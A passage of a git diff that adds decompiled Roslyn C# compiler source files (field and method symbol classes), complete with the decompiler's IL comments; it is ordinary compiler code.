((SyntaxNode)typeSyntax).Location : null) ?? GetFirstLocation()); + } + else if (type.IsRestrictedType(ignoreSpanLikeTypes: true)) + { + TypeSyntax typeSyntax2 = TypeSyntax; + diagnostics.Add(ErrorCode.ERR_FieldCantBeRefAny, ((typeSyntax2 != null) ? ((SyntaxNode)typeSyntax2).Location : null) ?? GetFirstLocation(), type); + } + else if (type.IsRefLikeType && (IsStatic || !containingType.IsRefLikeType)) + { + TypeSyntax typeSyntax3 = TypeSyntax; + diagnostics.Add(ErrorCode.ERR_FieldAutoPropCantBeByRefLike, ((typeSyntax3 != null) ? ((SyntaxNode)typeSyntax3).Location : null) ?? GetFirstLocation(), type); + } + else if (IsConst && !type.CanBeConst()) + { + SyntaxToken val = default(SyntaxToken); + SyntaxTokenList modifiersTokenList = ModifiersTokenList; + Enumerator enumerator = ((SyntaxTokenList)(ref modifiersTokenList)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxToken current = ((Enumerator)(ref enumerator)).Current; + if (current.Kind() == SyntaxKind.ConstKeyword) + { + val = current; + break; + } + } + diagnostics.Add(ErrorCode.ERR_BadConstType, ((SyntaxToken)(ref val)).GetLocation(), type); + } + else if (IsVolatile && !type.IsValidVolatileFieldType()) + { + diagnostics.Add(ErrorCode.ERR_VolatileStruct, ErrorLocation, this, type); + } + CompoundUseSiteInfo useSiteInfo = default(CompoundUseSiteInfo); + useSiteInfo._002Ector((BindingDiagnosticBag)(object)diagnostics, ContainingAssembly); + if (!this.IsNoMoreVisibleThan(type, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadVisFieldType, ErrorLocation, this, type); + } + ((BindingDiagnosticBag)(object)diagnostics).Add(ErrorLocation, useSiteInfo); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + ConstantValue constantValue = GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + if (IsConst && constantValue != (ConstantValue)null && (int)base.Type.SpecialType == 17) + { + FieldWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null || ((CommonFieldWellKnownAttributeData)decodedWellKnownAttributeData).ConstValue == ConstantValue.Unset) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.SynthesizeDecimalConstantAttribute(constantValue.DecimalValue)); + } + } + if (IsRequired) + { + Symbol.AddSynthesizedAttribute(ref attributes, DeclaringCompilation.TrySynthesizeAttribute((WellKnownMember)469)); + } + } + + internal override void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Invalid comparison between Unknown and I4 + base.PostDecodeWellKnownAttributes(boundAttributes, allAttributeSyntaxNodes, diagnostics, symbolPart, decodedData); + if (IsConst && (int)base.Type.SpecialType == 17 && GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false) != null && (!(decodedData is FieldWellKnownAttributeData fieldWellKnownAttributeData) || !(((CommonFieldWellKnownAttributeData)fieldWellKnownAttributeData).ConstValue != ConstantValue.Unset))) + { + Binder.ReportUseSiteDiagnosticForSynthesizedAttribute(DeclaringCompilation, (WellKnownMember)109, diagnostics, null, base.SyntaxNode); + } + } + + internal static DeclarationModifiers MakeModifiers(NamedTypeSymbol containingType, SyntaxToken firstIdentifier, SyntaxTokenList modifiers, bool isRefField, BindingDiagnosticBag diagnostics, out bool modifierErrors) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Expected O, but got Unknown + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + bool isInterface = containingType.IsInterface; + DeclarationModifiers defaultAccess = (isInterface ? DeclarationModifiers.Public : DeclarationModifiers.Private); + DeclarationModifiers allowedModifiers = DeclarationModifiers.AccessibilityMask | DeclarationModifiers.Abstract | DeclarationModifiers.Static | DeclarationModifiers.New | DeclarationModifiers.ReadOnly | DeclarationModifiers.Const | DeclarationModifiers.Volatile | DeclarationModifiers.Unsafe | DeclarationModifiers.Fixed | DeclarationModifiers.Required; + SourceLocation val = new SourceLocation(ref firstIdentifier); + DeclarationModifiers declarationModifiers = ModifierUtils.MakeAndCheckNonTypeMemberModifiers(isOrdinaryMethod: false, isInterface, modifiers, defaultAccess, allowedModifiers, (Location)(object)val, diagnostics, out modifierErrors); + if ((declarationModifiers & DeclarationModifiers.Abstract) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_AbstractField, (Location)(object)val); + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFFFFFFEu); + } + if ((declarationModifiers & DeclarationModifiers.Fixed) != DeclarationModifiers.None) + { + Enumerator enumerator = ((SyntaxTokenList)(ref modifiers)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxToken current = ((Enumerator)(ref enumerator)).Current; + if (current.IsKind(SyntaxKind.FixedKeyword)) + { + MessageID.IDS_FeatureFixedBuffer.CheckFeatureAvailability(diagnostics, current); + } + } + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Static, diagnostics, val); + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.ReadOnly, diagnostics, val); + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Const, diagnostics, val); + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Volatile, diagnostics, val); + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Required, diagnostics, val); + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFBFE3FBu); + } + if ((declarationModifiers & DeclarationModifiers.Const) != DeclarationModifiers.None) + { + if ((declarationModifiers & DeclarationModifiers.Static) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_StaticConstant, (Location)(object)val, ((SyntaxToken)(ref firstIdentifier)).ValueText); + } + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.ReadOnly, diagnostics, val); + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Volatile, diagnostics, val); + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Unsafe, diagnostics, val); + if (reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Required, diagnostics, val)) + { + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFBFFFFFu); + } + declarationModifiers |= DeclarationModifiers.Static; + } + else + { + if ((declarationModifiers & DeclarationModifiers.Static) != DeclarationModifiers.None && (declarationModifiers & DeclarationModifiers.Required) != DeclarationModifiers.None) + { + diagnostics.Add(ErrorCode.ERR_BadMemberFlag, (Location)(object)val, SyntaxFacts.GetText(SyntaxKind.RequiredKeyword)); + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFBFFFFFu); + } + containingType.CheckUnsafeModifier(declarationModifiers, (Location)(object)val, diagnostics); + } + if (isRefField) + { + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Static, diagnostics, val); + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Const, diagnostics, val); + reportBadMemberFlagIfAny(declarationModifiers, DeclarationModifiers.Volatile, diagnostics, val); + } + return declarationModifiers; + static bool reportBadMemberFlagIfAny(DeclarationModifiers result, DeclarationModifiers modifier, BindingDiagnosticBag bindingDiagnosticBag, SourceLocation errorLocation) + { + if ((result & modifier) != DeclarationModifiers.None) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_BadMemberFlag, (Location)(object)errorLocation, ModifierUtils.ConvertSingleModifierToSyntaxText(modifier)); + return true; + } + return false; + } + } + + internal sealed override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.Attributes: + GetAttributes(); + break; + case CompletionPart.Type: + GetFieldType(ConsList.Empty); + break; + case CompletionPart.Members: + _ = FixedSize; + break; + case CompletionPart.TypeMembers: + GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false); + break; + case CompletionPart.None: + return; + default: + state.NotePartComplete(CompletionPart.ImportsAll | CompletionPart.ReturnTypeAttributes | CompletionPart.Parameters | CompletionPart.StartInterfaces | CompletionPart.FinishInterfaces | CompletionPart.EnumUnderlyingType | CompletionPart.TypeArguments | CompletionPart.TypeParameters | CompletionPart.SynthesizedExplicitImplementations | CompletionPart.StartMemberChecks | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted | CompletionPart.MembersCompleted); + break; + } + state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + internal override NamedTypeSymbol FixedImplementationType(PEModuleBuilder emitModule) + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberFieldSymbolFromDeclarator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberFieldSymbolFromDeclarator.cs new file mode 100644 index 0000000..1d669de --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberFieldSymbolFromDeclarator.cs @@ -0,0 +1,311 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal class SourceMemberFieldSymbolFromDeclarator : SourceMemberFieldSymbol +{ + private sealed class TypeAndRefKind + { + internal readonly RefKind RefKind; + + internal readonly TypeWithAnnotations Type; + + internal TypeAndRefKind(RefKind refKind, TypeWithAnnotations type) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + RefKind = refKind; + Type = type; + } + } + + private readonly bool _hasInitializer; + + private TypeAndRefKind _lazyTypeAndRefKind; + + private int _lazyFieldTypeInferred; + + protected sealed override TypeSyntax TypeSyntax => GetFieldDeclaration(VariableDeclaratorNode).Declaration.Type; + + protected sealed override SyntaxTokenList ModifiersTokenList => GetFieldDeclaration(VariableDeclaratorNode).Modifiers; + + public sealed override bool HasInitializer => _hasInitializer; + + protected VariableDeclaratorSyntax VariableDeclaratorNode => (VariableDeclaratorSyntax)base.SyntaxNode; + + protected override SyntaxList AttributeDeclarationSyntaxList + { + get + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (containingType.AnyMemberHasAttributes) + { + return GetFieldDeclaration(base.SyntaxNode).AttributeLists; + } + return default(SyntaxList); + } + } + + public sealed override RefKind RefKind => GetTypeAndRefKind(ConsList.Empty).RefKind; + + internal override bool HasPointerType => base.TypeWithAnnotations.DefaultType.IsPointerOrFunctionPointer(); + + internal SourceMemberFieldSymbolFromDeclarator(SourceMemberContainerTypeSymbol containingType, VariableDeclaratorSyntax declarator, DeclarationModifiers modifiers, bool modifierErrors, BindingDiagnosticBag diagnostics) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifier = declarator.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + SyntaxReference reference = declarator.GetReference(); + identifier = declarator.Identifier; + base._002Ector(containingType, modifiers, valueText, reference, ((SyntaxToken)(ref identifier)).Span); + _hasInitializer = declarator.Initializer != null; + CheckAccessibility(diagnostics); + if (!modifierErrors) + { + ReportModifiersDiagnostics(diagnostics); + } + if (!containingType.IsInterface) + { + return; + } + if (IsStatic) + { + Binder.CheckFeatureAvailability((SyntaxNode)(object)declarator, MessageID.IDS_DefaultInterfaceImplementation, diagnostics, ErrorLocation); + if (!ContainingAssembly.RuntimeSupportsDefaultInterfaceImplementation) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportDefaultInterfaceImplementation, ErrorLocation); + } + } + else + { + diagnostics.Add(ErrorCode.ERR_InterfacesCantContainFields, ErrorLocation); + } + } + + private static BaseFieldDeclarationSyntax GetFieldDeclaration(CSharpSyntaxNode declarator) + { + return (BaseFieldDeclarationSyntax)declarator.Parent.Parent; + } + + internal sealed override TypeWithAnnotations GetFieldType(ConsList fieldsBeingBound) + { + return GetTypeAndRefKind(fieldsBeingBound).Type; + } + + private TypeAndRefKind GetTypeAndRefKind(ConsList fieldsBeingBound) + { + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Invalid comparison between Unknown and I4 + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_03d6: Unknown result type (might be due to invalid IL or missing references) + //IL_0352: Unknown result type (might be due to invalid IL or missing references) + //IL_0359: Invalid comparison between Unknown and I4 + //IL_040f: Unknown result type (might be due to invalid IL or missing references) + //IL_0414: Unknown result type (might be due to invalid IL or missing references) + //IL_036e: Unknown result type (might be due to invalid IL or missing references) + //IL_024b: Unknown result type (might be due to invalid IL or missing references) + //IL_0250: Unknown result type (might be due to invalid IL or missing references) + if (_lazyTypeAndRefKind != null) + { + return _lazyTypeAndRefKind; + } + VariableDeclaratorSyntax variableDeclaratorNode = VariableDeclaratorNode; + BaseFieldDeclarationSyntax fieldDeclaration = GetFieldDeclaration(variableDeclaratorNode); + TypeSyntax type = fieldDeclaration.Declaration.Type; + CSharpCompilation declaringCompilation = DeclaringCompilation; + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + RefKind refKind = (RefKind)0; + if (type is ScopedTypeSyntax) + { + instance.Add(ErrorCode.ERR_BadMemberFlag, ErrorLocation, SyntaxFacts.GetText(SyntaxKind.ScopedKeyword)); + } + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(); + Symbol associatedSymbol = AssociatedSymbol; + TypeWithAnnotations pointedAtType; + if ((object)associatedSymbol != null && (int)associatedSymbol.Kind == 5) + { + EventSymbol eventSymbol = (EventSymbol)associatedSymbol; + if (eventSymbol.IsWindowsRuntimeEvent) + { + NamedTypeSymbol wellKnownType = DeclaringCompilation.GetWellKnownType((WellKnownType)185); + Binder.ReportUseSite(wellKnownType, instance2, ErrorLocation); + pointedAtType = TypeWithAnnotations.Create(wellKnownType.Construct(ImmutableArray.Create(eventSymbol.TypeWithAnnotations))); + } + else + { + pointedAtType = eventSymbol.TypeWithAnnotations; + } + } + else + { + Binder binder = declaringCompilation.GetBinderFactory(base.SyntaxTree).GetBinder((SyntaxNode)(object)type); + binder = binder.WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.SuppressConstraintChecks, this); + bool isScoped; + if (!ContainingType.IsScriptClass) + { + TypeSyntax syntax = type.SkipScoped(out isScoped).SkipRefInField(out refKind); + pointedAtType = binder.BindType(syntax, instance2); + if ((int)refKind != 0) + { + MessageID.IDS_FeatureRefFields.CheckFeatureAvailability(instance, (Compilation)(object)declaringCompilation, ((SyntaxNode)type.SkipScoped(out isScoped)).Location); + if (!declaringCompilation.Assembly.RuntimeSupportsByRefFields) + { + instance.Add(ErrorCode.ERR_RuntimeDoesNotSupportRefFields, ErrorLocation); + } + if (!containingType.IsRefLikeType) + { + instance.Add(ErrorCode.ERR_RefFieldInNonRefStruct, ErrorLocation); + } + TypeSymbol type2 = pointedAtType.Type; + if ((object)type2 != null && type2.IsRefLikeType) + { + instance.Add(ErrorCode.ERR_RefFieldCannotReferToRefStruct, ((SyntaxNode)type.SkipScoped(out isScoped)).Location); + } + } + } + else + { + pointedAtType = binder.BindTypeOrVarKeyword(type.SkipScoped(out isScoped).SkipRefInField(out var _), instance, out var isVar); + if (isVar) + { + if (IsConst) + { + instance2.Add(ErrorCode.ERR_ImplicitlyTypedVariableCannotBeConst, ((SyntaxNode)type).Location); + } + if (ConsListExtensions.ContainsReference(fieldsBeingBound, (FieldSymbol)this)) + { + instance.Add(ErrorCode.ERR_RecursivelyTypedVariable, ErrorLocation, this); + pointedAtType = default(TypeWithAnnotations); + } + else if (fieldDeclaration.Declaration.Variables.Count > 1) + { + instance2.Add(ErrorCode.ERR_ImplicitlyTypedVariableMultipleDeclarator, ((SyntaxNode)type).Location); + } + else if (IsConst && ContainingType.IsScriptClass) + { + pointedAtType = default(TypeWithAnnotations); + } + else + { + fieldsBeingBound = new ConsList((FieldSymbol)this, fieldsBeingBound); + EqualsValueClauseSyntax initializer = variableDeclaratorNode.Initializer; + ImplicitlyTypedFieldBinder next = new ImplicitlyTypedFieldBinder(binder, fieldsBeingBound); + BoundExpression boundExpression = new ExecutableCodeBinder((SyntaxNode)(object)initializer, this, next).BindInferredVariableInitializer(instance, (RefKind)0, initializer, variableDeclaratorNode); + if (boundExpression != null) + { + if ((object)boundExpression.Type != null && !boundExpression.Type.IsErrorType()) + { + pointedAtType = TypeWithAnnotations.Create(boundExpression.Type); + } + _lazyFieldTypeInferred = 1; + } + } + if (!pointedAtType.HasType) + { + pointedAtType = TypeWithAnnotations.Create(binder.CreateErrorType("var")); + } + } + } + if (IsFixedSizeBuffer) + { + pointedAtType = TypeWithAnnotations.Create(new PointerTypeSymbol(pointedAtType)); + if ((int)ContainingType.TypeKind != 10) + { + instance.Add(ErrorCode.ERR_FixedNotInStruct, ErrorLocation); + } + if ((int)refKind != 0) + { + instance.Add(ErrorCode.ERR_FixedFieldMustNotBeRef, ErrorLocation); + } + if (((PointerTypeSymbol)pointedAtType.Type).PointedAtType.FixedBufferElementSizeInBytes() == 0) + { + Location location = ((SyntaxNode)type).Location; + instance.Add(ErrorCode.ERR_IllegalFixedType, location); + } + if (!binder.InUnsafeRegion) + { + instance2.Add(ErrorCode.ERR_UnsafeNeeded, ((SyntaxNode)variableDeclaratorNode).Location); + } + } + } + if (Interlocked.CompareExchange(ref _lazyTypeAndRefKind, new TypeAndRefKind(refKind, pointedAtType.WithModifiers(base.RequiredCustomModifiers)), null) == null) + { + TypeChecks(pointedAtType.Type, instance); + AddDeclarationDiagnostics(instance); + if (fieldDeclaration.Declaration.Variables[0] == variableDeclaratorNode) + { + AddDeclarationDiagnostics(instance2); + } + state.NotePartComplete(CompletionPart.Type); + } + ((BindingDiagnosticBag)(object)instance).Free(); + ((BindingDiagnosticBag)(object)instance2).Free(); + return _lazyTypeAndRefKind; + } + + internal bool FieldTypeInferred(ConsList fieldsBeingBound) + { + if (!ContainingType.IsScriptClass) + { + return false; + } + GetFieldType(fieldsBeingBound); + if (_lazyFieldTypeInferred == 0) + { + return Volatile.Read(in _lazyFieldTypeInferred) != 0; + } + return true; + } + + protected sealed override ConstantValue MakeConstantValue(HashSet dependencies, bool earlyDecodingWellKnownAttributes, BindingDiagnosticBag diagnostics) + { + if (!IsConst || VariableDeclaratorNode.Initializer == null) + { + return null; + } + return ConstantValueUtils.EvaluateFieldConstant(this, VariableDeclaratorNode.Initializer, dependencies, earlyDecodingWellKnownAttributes, diagnostics); + } + + public override bool IsDefinedInSourceTree(SyntaxTree tree, TextSpan? definedWithinSpan, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + if (base.SyntaxTree == tree) + { + if (!definedWithinSpan.HasValue) + { + return true; + } + BaseFieldDeclarationSyntax fieldDeclaration = GetFieldDeclaration(base.SyntaxNode); + if (fieldDeclaration.SyntaxTree.HasCompilationUnitRoot) + { + TextSpan span = ((SyntaxNode)fieldDeclaration).Span; + return ((TextSpan)(ref span)).IntersectsWith(definedWithinSpan.Value); + } + return false; + } + return false; + } + + internal override void AfterAddingTypeMembersChecks(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + if (!IsFixedSizeBuffer) + { + base.Type.CheckAllConstraints(DeclaringCompilation, conversions, ErrorLocation, diagnostics); + } + base.AfterAddingTypeMembersChecks(conversions, diagnostics); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberMethodSymbol.cs new file mode 100644 index 0000000..671a3c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceMemberMethodSymbol.cs @@ -0,0 +1,767 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SourceMemberMethodSymbol : LocalFunctionOrSourceMemberMethodSymbol, IAttributeTargetSymbol +{ + protected struct Flags + { + private int _flags; + + private const int MethodKindOffset = 0; + + private const int MethodKindSize = 5; + + private const int MethodKindMask = 31; + + private const int RefKindOffset = 5; + + private const int RefKindSize = 3; + + private const int RefKindMask = 7; + + private const int IsExtensionMethodOffset = 8; + + private const int IsExtensionMethodSize = 1; + + private const int IsMetadataVirtualIgnoringInterfaceChangesOffset = 9; + + private const int IsMetadataVirtualIgnoringInterfaceChangesSize = 1; + + private const int IsMetadataVirtualOffset = 10; + + private const int IsMetadataVirtualSize = 1; + + private const int IsMetadataVirtualLockedOffset = 11; + + private const int IsMetadataVirtualLockedSize = 1; + + private const int ReturnsVoidOffset = 12; + + private const int ReturnsVoidSize = 2; + + private const int NullableContextOffset = 14; + + private const int NullableContextSize = 3; + + private const int NullableContextMask = 7; + + private const int IsNullableAnalysisEnabledOffset = 17; + + private const int IsNullableAnalysisEnabledSize = 1; + + private const int IsExpressionBodiedOffset = 18; + + private const int IsExpressionBodiedSize = 1; + + private const int HasAnyBodyOffset = 19; + + private const int HasAnyBodySize = 1; + + private const int IsVarargOffset = 20; + + private const int IsVarargSize = 1; + + private const int HasAnyBodyBit = 524288; + + private const int IsExpressionBodiedBit = 262144; + + private const int IsExtensionMethodBit = 256; + + private const int IsMetadataVirtualIgnoringInterfaceChangesBit = 512; + + private const int IsMetadataVirtualBit = 512; + + private const int IsMetadataVirtualLockedBit = 2048; + + private const int IsVarargBit = 1048576; + + private const int ReturnsVoidBit = 4096; + + private const int ReturnsVoidIsSetBit = 8192; + + private const int IsNullableAnalysisEnabledBit = 131072; + + public bool ReturnsVoid => (_flags & 0x1000) != 0; + + public MethodKind MethodKind => (MethodKind)(_flags & 0x1F); + + public RefKind RefKind => (RefKind)(byte)((_flags >> 5) & 7); + + public bool HasAnyBody => (_flags & 0x80000) != 0; + + public bool IsExpressionBodied => (_flags & 0x40000) != 0; + + public bool IsExtensionMethod => (_flags & 0x100) != 0; + + public bool IsNullableAnalysisEnabled => (_flags & 0x20000) != 0; + + public bool IsMetadataVirtualLocked => (_flags & 0x800) != 0; + + public bool IsVararg => (_flags & 0x100000) != 0; + + public void SetReturnsVoid(bool value) + { + ThreadSafeFlagOperations.Set(ref _flags, 0x2000 | (value ? 4096 : 0)); + } + + private static bool ModifiersRequireMetadataVirtual(DeclarationModifiers modifiers) + { + return (modifiers & (DeclarationModifiers.Abstract | DeclarationModifiers.Virtual | DeclarationModifiers.Override)) != 0; + } + + public Flags(MethodKind methodKind, RefKind refKind, DeclarationModifiers declarationModifiers, bool returnsVoid, bool returnsVoidIsSet, bool hasAnyBody, bool isExpressionBodied, bool isExtensionMethod, bool isNullableAnalysisEnabled, bool isVararg, bool isExplicitInterfaceImplementation) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Expected I4, but got Unknown + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Expected I4, but got Unknown + bool num = (isExplicitInterfaceImplementation && (declarationModifiers & DeclarationModifiers.Static) == 0) || ModifiersRequireMetadataVirtual(declarationModifiers); + int num2 = methodKind & 0x1F; + int num3 = (refKind & 7) << 5; + int num4 = (hasAnyBody ? 524288 : 0); + int num5 = (isExpressionBodied ? 262144 : 0); + int num6 = (isExtensionMethod ? 256 : 0); + int num7 = (isNullableAnalysisEnabled ? 131072 : 0); + int num8 = (isVararg ? 1048576 : 0); + int num9 = (num ? 512 : 0); + int num10 = (num ? 512 : 0); + _flags = num2 | num3 | num4 | num5 | num6 | num7 | num8 | num9 | num10 | (returnsVoid ? 4096 : 0) | (returnsVoidIsSet ? 8192 : 0); + } + + public Flags(MethodKind methodKind, RefKind refKind, DeclarationModifiers declarationModifiers, bool returnsVoid, bool returnsVoidIsSet, bool isExpressionBodied, bool isExtensionMethod, bool isNullableAnalysisEnabled, bool isVararg, bool isExplicitInterfaceImplementation) + : this(methodKind, refKind, declarationModifiers, returnsVoid, returnsVoidIsSet, hasAnyBody: false, isExpressionBodied, isExtensionMethod, isNullableAnalysisEnabled, isVararg, isExplicitInterfaceImplementation) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + + + public bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + if (ignoreInterfaceImplementationChanges) + { + return (_flags & 0x200) != 0; + } + if (!IsMetadataVirtualLocked) + { + ThreadSafeFlagOperations.Set(ref _flags, 2048); + } + return (_flags & 0x200) != 0; + } + + public void EnsureMetadataVirtual() + { + if ((_flags & 0x200) == 0) + { + ThreadSafeFlagOperations.Set(ref _flags, 512); + } + } + + public bool TryGetNullableContext(out byte? value) + { + return ((NullableContextKind)((_flags >> 14) & 7)).TryGetByte(out value); + } + + public bool SetNullableContext(byte? value) + { + return ThreadSafeFlagOperations.Set(ref _flags, (int)((uint)(value.ToNullableContextFlags() & (NullableContextKind)7) << 14)); + } + } + + protected SymbolCompletionState state; + + protected readonly DeclarationModifiers DeclarationModifiers; + + protected Flags flags; + + private readonly NamedTypeSymbol _containingType; + + private ParameterSymbol _lazyThisParameter; + + private OverriddenOrHiddenMembersResult _lazyOverriddenOrHiddenMembers; + + protected readonly Location _location; + + protected string lazyDocComment; + + protected string lazyExpandedDocComment; + + private ImmutableArray _cachedDiagnostics; + + internal ImmutableArray Diagnostics => _cachedDiagnostics; + + protected virtual object MethodChecksLockObject => syntaxReferenceOpt; + + public sealed override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override Symbol AssociatedSymbol => null; + + public override bool ReturnsVoid => flags.ReturnsVoid; + + public sealed override MethodKind MethodKind => flags.MethodKind; + + public override bool IsExtensionMethod => flags.IsExtensionMethod; + + public override Accessibility DeclaredAccessibility => ModifierUtils.EffectiveAccessibility(DeclarationModifiers); + + internal bool HasExternModifier => (DeclarationModifiers & DeclarationModifiers.Extern) != 0; + + public override bool IsExtern => HasExternModifier; + + public sealed override bool IsSealed => (DeclarationModifiers & DeclarationModifiers.Sealed) != 0; + + public sealed override bool IsAbstract => (DeclarationModifiers & DeclarationModifiers.Abstract) != 0; + + public sealed override bool IsOverride => (DeclarationModifiers & DeclarationModifiers.Override) != 0; + + internal bool IsPartial => (DeclarationModifiers & DeclarationModifiers.Partial) != 0; + + public sealed override bool IsVirtual => (DeclarationModifiers & DeclarationModifiers.Virtual) != 0; + + internal bool IsNew => (DeclarationModifiers & DeclarationModifiers.New) != 0; + + public sealed override bool IsStatic => (DeclarationModifiers & DeclarationModifiers.Static) != 0; + + internal bool IsUnsafe => (DeclarationModifiers & DeclarationModifiers.Unsafe) != 0; + + public sealed override bool IsAsync => (DeclarationModifiers & DeclarationModifiers.Async) != 0; + + internal override bool IsDeclaredReadOnly => (DeclarationModifiers & DeclarationModifiers.ReadOnly) != 0; + + internal override bool IsInitOnly => false; + + internal sealed override CallingConvention CallingConvention + { + get + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + CallingConvention val = (CallingConvention)(IsVararg ? 5 : 0); + if 